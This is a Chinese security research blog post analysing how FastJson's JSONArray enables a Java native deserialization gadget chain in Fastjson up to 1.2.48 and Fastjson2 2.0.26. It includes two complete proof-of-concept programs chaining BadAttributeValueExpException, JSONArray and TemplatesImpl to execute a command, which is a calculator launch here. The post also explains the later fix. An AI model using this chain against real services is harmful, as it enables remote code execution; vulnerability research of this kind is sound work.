FastJson与原生反序列化
前言
这其实是我很早前遇到的一个秋招面试题，问题大概是如果你遇到一个较高版本的FastJson有什么办法能绕过AutoType么？我一开始回答的是找黑名单外的类，后面面试官说想考察的是FastJson在原生反序列化当中的利用。因为比较有趣加上最近在网上也看到类似的东西，今天也就顺便在肝毕设之余来谈谈这个问题。
利用与限制
-
Fastjson1版本小于等于1.2.48
-
Fastjson2目前通杀(目前最新版本2.0.26)
寻找
既然是与原生反序列化相关，那我们去fastjson包里去看看哪些类继承了Serializable接口即可，最后找完只有两个类，JSONArray与JSONObject，这里我们就挑第一个来讲(实际上这两个在原生反序列化当中利用方式是相同的)
首先我们可以在IDEA中可以看到，虽然JSONArray有implement这个Serializable接口但是它本身没有实现readObject方法的重载，并且继承的JSON类同样没有readObject方法，那么只有一个思路了，通过其他类的readObject做中转来触发JSONArray或者JSON类当中的某个方法最终实现串链
在Json类当中的toString方法能触发toJsonString的调用，而这个东西其实我们并不陌生，在我们想用JSON.parse()触发get方法时，其中一个处理方法就是用JSONObject嵌套我们的payload
那么思路就很明确了，触发toString->toJSONString->get方法，
如何触发getter方法
这里多提一句为什么能触发get方法调用
因为是toString所以肯定会涉及到对象中的属性提取，fastjson在做这部分实现时，是通过ObjectSerializer类的write方法去做的提取
这部分流程是先判断serializers这个HashMap当中有无默认映射
我们可以来看看有哪些默认的映射关系
private void initSerializers() {this.put((Type)Boolean.class, (ObjectSerializer)BooleanCodec.instance);this.put((Type)Character.class, (ObjectSerializer)CharacterCodec.instance);this.put((Type)Byte.class, (ObjectSerializer)IntegerCodec.instance);this.put((Type)Short.class, (ObjectSerializer)IntegerCodec.instance);this.put((Type)Integer.class, (ObjectSerializer)IntegerCodec.instance);this.put((Type)Long.class, (ObjectSerializer)LongCodec.instance);this.put((Type)Float.class, (ObjectSerializer)FloatCodec.instance);this.put((Type)Double.class, (ObjectSerializer)DoubleSerializer.instance);this.put((Type)BigDecimal.class, (ObjectSerializer)BigDecimalCodec.instance);this.put((Type)BigInteger.class, (ObjectSerializer)BigIntegerCodec.instance);this.put((Type)String.class, (ObjectSerializer)StringCodec.instance);this.put((Type)byte[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);this.put((Type)short[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);this.put((Type)int[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);this.put((Type)long[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);this.put((Type)float[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);this.put((Type)double[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);this.put((Type)boolean[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);this.put((Type)char[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);this.put((Type)Object[].class, (ObjectSerializer)ObjectArrayCodec.instance);this.put((Type)Class.class, (ObjectSerializer)MiscCodec.instance);this.put((Type)SimpleDateFormat.class, (ObjectSerializer)MiscCodec.instance);this.put((Type)Currency.class, (ObjectSerializer)(new MiscCodec()));this.put((Type)TimeZone.class, (ObjectSerializer)MiscCodec.instance);this.put((Type)InetAddress.class, (ObjectSerializer)MiscCodec.instance);this.put((Type)Inet4Address.class, (ObjectSerializer)MiscCodec.instance);this.put((Type)Inet6Address.class, (ObjectSerializer)MiscCodec.instance);this.put((Type)InetSocketAddress.class, (ObjectSerializer)MiscCodec.instance);this.put((Type)File.class, (ObjectSerializer)MiscCodec.instance);this.put((Type)Appendable.class, (ObjectSerializer)AppendableSerializer.instance);this.put((Type)StringBuffer.class, (ObjectSerializer)AppendableSerializer.instance);this.put((Type)StringBuilder.class, (ObjectSerializer)AppendableSerializer.instance);this.put((Type)Charset.class, (ObjectSerializer)ToStringSerializer.instance);this.put((Type)Pattern.class, (ObjectSerializer)ToStringSerializer.instance);this.put((Type)Locale.class, (ObjectSerializer)ToStringSerializer.instance);this.put((Type)URI.class, (ObjectSerializer)ToStringSerializer.instance);this.put((Type)URL.class, (ObjectSerializer)ToStringSerializer.instance);this.put((Type)UUID.class, (ObjectSerializer)ToStringSerializer.instance);this.put((Type)AtomicBoolean.class, (ObjectSerializer)AtomicCodec.instance);this.put((Type)AtomicInteger.class, (ObjectSerializer)AtomicCodec.instance);this.put((Type)AtomicLong.class, (ObjectSerializer)AtomicCodec.instance);this.put((Type)AtomicReference.class, (ObjectSerializer)ReferenceCodec.instance);this.put((Type)AtomicIntegerArray.class, (ObjectSerializer)AtomicCodec.instance);this.put((Type)AtomicLongArray.class, (ObjectSerializer)AtomicCodec.instance);this.put((Type)WeakReference.class, (ObjectSerializer)ReferenceCodec.instance);this.put((Type)SoftReference.class, (ObjectSerializer)ReferenceCodec.instance);this.put((Type)LinkedList.class, (ObjectSerializer)CollectionCodec.instance);}
这里面基本上没有我们需要的东西，唯一熟悉的就是MiscCodec(提示下我们fastjson加载任意class时就是通过调用这个的TypeUtils.loadClass)，但可惜的是他的write方法同样没有什么可利用的点，再往下去除一些不关键的调用栈，接下来默认会通过createJavaBeanSerializer来创建一个ObjectSerializer对象
它会提取类当中的BeanInfo（包括有getter方法的属性）并传入createJavaBeanSerializer继续处理
public final ObjectSerializer createJavaBeanSerializer(Class<?> clazz) {SerializeBeanInfo beanInfo = TypeUtils.buildBeanInfo(clazz, (Map)null, this.propertyNamingStrategy, this.fieldBased);return (ObjectSerializer)(beanInfo.fields.length == 0 && Iterable.class.isAssignableFrom(clazz) ? MiscCodec.instance : this.createJavaBeanSerializer(beanInfo));}
这个方法也最终会将二次处理的beaninfo继续委托给createASMSerializer做处理，而这个方法其实就是通过ASM动态创建一个类(因为和Java自带的ASM框架长的很“相似”所以阅读这部分代码并不复杂)
getter方法的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#generateWriteMethod当中
它会根据字段的类型调用不同的方法处理，这里我们随便看一个(以第一个_long为例)
通过_get方法生成读取filed的方法
这里的fieldInfo其实就是我们一开始的有get方法的field的集合
private void _get(MethodVisitor mw, ASMSerializerFactory.Context context, FieldInfo fieldInfo) {Method method = fieldInfo.method;if (method != null) {mw.visitVarInsn(25, context.var("entity"));Class<?> declaringClass = method.getDeclaringClass();mw.visitMethodInsn(declaringClass.isInterface() ? 185 : 182, ASMUtils.type(declaringClass), method.getName(), ASMUtils.desc(method));if (!method.getReturnType().equals(fieldInfo.fieldClass)) {mw.visitTypeInsn(192, ASMUtils.type(fieldInfo.fieldClass));}} else {mw.visitVarInsn(25, context.var("entity"));Field field = fieldInfo.field;mw.visitFieldInsn(180, ASMUtils.type(fieldInfo.declaringClass), field.getName(), ASMUtils.desc(field.getType()));if (!field.getType().equals(fieldInfo.fieldClass)) {mw.visitTypeInsn(192, ASMUtils.type(fieldInfo.fieldClass));}}}
因此能最终调用方法的get方法
这里做个验证，这里我们创建一个User类,其中只有username字段有get方法
public class User {public String username;public String password;public String getUsername() {return username;}}
在asm最终生成code的bytes数据写入文件
可以看到在write方法当中password因为没有get方法所以没有调用getPassword，而username有所以调用了
组合利用链
既然只能触发get方法的调用那么很容易想到通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码最终触发恶意方法调用
而触发toString方法我们也有现成的链，通过BadAttributeValueExpException触发即可
因此我们很容易写出利用链子
Maven依赖
<project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>xibt</groupId><artifactId>com.xibt</artifactId><version>0.0.1-SNAPSHOT</version><name>Proxy</name><dependencies><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.19.0-GA</version> <!-- 或者其他版本 --></dependency><!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.48</version></dependency><dependency><groupId>com.alibaba.fastjson2</groupId><artifactId>fastjson2</artifactId><version>2.0.26</version></dependency></dependencies></project>
import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test {public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception{ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec("open -na Calculator");");clazz.addConstructor(constructor);byte[][] bytes = new byte[][]{clazz.toBytecode()};TemplatesImpl templates = TemplatesImpl.class.newInstance();setValue(templates, "_bytecodes", bytes);setValue(templates, "_name", "y4tacker");setValue(templates, "_tfactory", null);JSONArray jsonArray = new JSONArray();jsonArray.add(templates);BadAttributeValueExpException val = new BadAttributeValueExpException(null);Field valfield = val.getClass().getDeclaredField("val");valfield.setAccessible(true);valfield.set(val, jsonArray);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);objectOutputStream.writeObject(val);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}
fastjson2
import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import com.alibaba.fastjson2.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test {public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception{ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec("open -na Calculator");");clazz.addConstructor(constructor);byte[][] bytes = new byte[][]{clazz.toBytecode()};TemplatesImpl templates = TemplatesImpl.class.newInstance();setValue(templates, "_bytecodes", bytes);setValue(templates, "_name", "y4tacker");setValue(templates, "_tfactory", null);JSONArray jsonArray = new JSONArray();jsonArray.add(templates);BadAttributeValueExpException val = new BadAttributeValueExpException(null);Field valfield = val.getClass().getDeclaredField("val");valfield.setAccessible(true);valfield.set(val, jsonArray);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);objectOutputStream.writeObject(val);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}
为什么fastjson1的1.2.49以后不再能利用
从1.2.49开始，我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法
在其SecureObjectInputStream类当中重写了resolveClass,在其中调用了checkAutoType方法做类的检查
作者：Y4tacker
原文链接：
https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
原文始发于微信公众号（Ots安全）：FastJson与原生反序列化-影响Fastjson1 小于等于（1.2.48），Fastjson2 小于等于(2.0.26)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论